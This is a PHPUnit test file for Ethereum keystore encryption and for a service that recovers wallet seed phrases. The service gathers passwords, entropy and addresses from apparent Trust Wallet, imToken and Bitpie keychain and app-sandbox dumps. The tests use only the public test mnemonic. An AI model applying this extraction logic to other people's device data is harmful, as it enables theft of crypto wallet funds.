178 lines
7.0 KiB
PHP
178 lines
7.0 KiB
PHP
<?php
|
|
|
|
namespace Tests\Unit;
|
|
|
|
use App\Services\DsKeystoreDecrypt;
|
|
use App\Services\EthKeystore;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class EthKeystoreTest extends TestCase
|
|
{
|
|
#[Test]
|
|
public function roundtrip_scrypt_aes_ctr(): void
|
|
{
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = random_bytes(32);
|
|
$utc = EthKeystore::encrypt($phrase, $password, ['n' => 16, 'r' => 1, 'p' => 1]);
|
|
$this->assertSame($phrase, EthKeystore::decrypt($utc, $password));
|
|
$this->assertNull(EthKeystore::decrypt($utc, 'wrong'));
|
|
}
|
|
|
|
#[Test]
|
|
public function pbkdf2_aes_ctr_unlocks_utf8_password(): void
|
|
{
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = 'imtoken-utf8-demo';
|
|
$salt = random_bytes(32);
|
|
$iv = random_bytes(16);
|
|
$derived = hash_pbkdf2('sha256', $password, $salt, 16, 32, true);
|
|
$ciphertext = openssl_encrypt($phrase, 'aes-128-ctr', substr($derived, 0, 16), OPENSSL_RAW_DATA, $iv);
|
|
$this->assertIsString($ciphertext);
|
|
$utc = [
|
|
'version' => 3,
|
|
'crypto' => [
|
|
'cipher' => 'aes-128-ctr',
|
|
'cipherparams' => ['iv' => bin2hex($iv)],
|
|
'ciphertext' => bin2hex($ciphertext),
|
|
'kdf' => 'pbkdf2',
|
|
'kdfparams' => [
|
|
'c' => 16,
|
|
'dklen' => 32,
|
|
'prf' => 'hmac-sha256',
|
|
'salt' => bin2hex($salt),
|
|
],
|
|
'mac' => bin2hex(hex2bin(\kornrunner\Keccak::hash(substr($derived, 16, 16).$ciphertext, 256))),
|
|
],
|
|
];
|
|
$this->assertSame($phrase, EthKeystore::decrypt($utc, $password));
|
|
$this->assertNull(EthKeystore::decrypt($utc, 'wrong'));
|
|
$decrypt = new DsKeystoreDecrypt;
|
|
$this->assertSame($phrase, $decrypt->unlock($utc, [$password]));
|
|
}
|
|
|
|
#[Test]
|
|
public function ds_unlock_accepts_keychain_hex_blob(): void
|
|
{
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2');
|
|
$this->assertIsString($password);
|
|
$utc = EthKeystore::encrypt($phrase, $password, ['n' => 16, 'r' => 8, 'p' => 1]);
|
|
$decrypt = new DsKeystoreDecrypt;
|
|
$got = $decrypt->unlock($utc, $decrypt->collectPasswords([
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'items' => [[
|
|
'account' => 'trustwalletUTC--demo',
|
|
'dataHex' => bin2hex($password),
|
|
]],
|
|
],
|
|
],
|
|
]));
|
|
$this->assertSame($phrase, $got);
|
|
}
|
|
|
|
#[Test]
|
|
public function python_scrypt_high_n_roundtrip(): void
|
|
{
|
|
if (! EthKeystore::scryptReady()) {
|
|
$this->markTestSkipped('python3 hashlib/pycryptodome scrypt is unavailable');
|
|
}
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = random_bytes(32);
|
|
$utc = EthKeystore::encrypt($phrase, $password, ['n' => 256, 'r' => 8, 'p' => 1]);
|
|
$this->assertSame($phrase, EthKeystore::decrypt($utc, $password));
|
|
}
|
|
|
|
#[Test]
|
|
public function aes_256_ctr_unlocks_with_walletcore_mac(): void
|
|
{
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = 'trust-aes256';
|
|
$salt = random_bytes(32);
|
|
$iv = random_bytes(16);
|
|
$derived = hash_pbkdf2('sha256', $password, $salt, 16, 32, true);
|
|
$ciphertext = openssl_encrypt($phrase, 'aes-256-ctr', $derived, OPENSSL_RAW_DATA, $iv);
|
|
$this->assertIsString($ciphertext);
|
|
$utc = [
|
|
'version' => 3,
|
|
'crypto' => [
|
|
'cipher' => 'aes-256-ctr',
|
|
'cipherparams' => ['iv' => bin2hex($iv)],
|
|
'ciphertext' => bin2hex($ciphertext),
|
|
'kdf' => 'pbkdf2',
|
|
'kdfparams' => [
|
|
'c' => 16,
|
|
'dklen' => 32,
|
|
'prf' => 'hmac-sha256',
|
|
'salt' => bin2hex($salt),
|
|
],
|
|
'mac' => bin2hex(hex2bin(\kornrunner\Keccak::hash($derived.$ciphertext, 256))),
|
|
],
|
|
];
|
|
$this->assertSame($phrase, EthKeystore::decrypt($utc, $password));
|
|
}
|
|
|
|
#[Test]
|
|
public function unlock_accepts_json_mnemonic_payload(): void
|
|
{
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$password = 'json-payload';
|
|
$utc = EthKeystore::encrypt(json_encode(['mnemonic' => $phrase]), $password, ['n' => 16, 'r' => 1, 'p' => 1]);
|
|
$decrypt = new DsKeystoreDecrypt;
|
|
$this->assertSame($phrase, $decrypt->unlock($utc, [$password]));
|
|
}
|
|
|
|
#[Test]
|
|
public function bitpie_entropy_ascii_hex_unlocks_phrase(): void
|
|
{
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$decrypt = new DsKeystoreDecrypt;
|
|
$hexes = $decrypt->collectBitpieEntropyHex([
|
|
'wallets' => [
|
|
'bitpie' => [
|
|
'items' => [[
|
|
'account' => 'seedPhraseEntropy',
|
|
'dataHex' => bin2hex('00000000000000000000000000000000'),
|
|
]],
|
|
],
|
|
],
|
|
]);
|
|
$this->assertSame(['00000000000000000000000000000000'], $hexes);
|
|
$this->assertNotSame('', $phrase);
|
|
}
|
|
|
|
#[Test]
|
|
public function bitpie_addresses_ignore_base64_noise(): void
|
|
{
|
|
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress($phrase, 0);
|
|
$decrypt = new DsKeystoreDecrypt;
|
|
$rows = $decrypt->collectBitpieAddresses([
|
|
'wallets' => [
|
|
'trustwallet' => [
|
|
'items' => [[
|
|
'account' => 'trustwalletUTC--demo',
|
|
'dataHex' => bin2hex('TVGWDRNV1dNRTNTR1JXR1kzNUdaSFgzNUJ'),
|
|
]],
|
|
],
|
|
'bitpie' => [
|
|
'items' => [[
|
|
'account' => 'userAddressKey',
|
|
'dataHex' => bin2hex($trx),
|
|
]],
|
|
],
|
|
],
|
|
'sandbox' => [
|
|
'bitpie' => [
|
|
'Library/Preferences/com.bitpie.wallet.plist' => base64_encode(
|
|
'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}] TVGWDRNV1dNRTNTR1JXR1kzNUdaSFgzNUJ'
|
|
),
|
|
],
|
|
],
|
|
]);
|
|
$addrs = array_values(array_unique(array_column($rows, 'address')));
|
|
$this->assertSame([$trx], $addrs);
|
|
}
|
|
}
|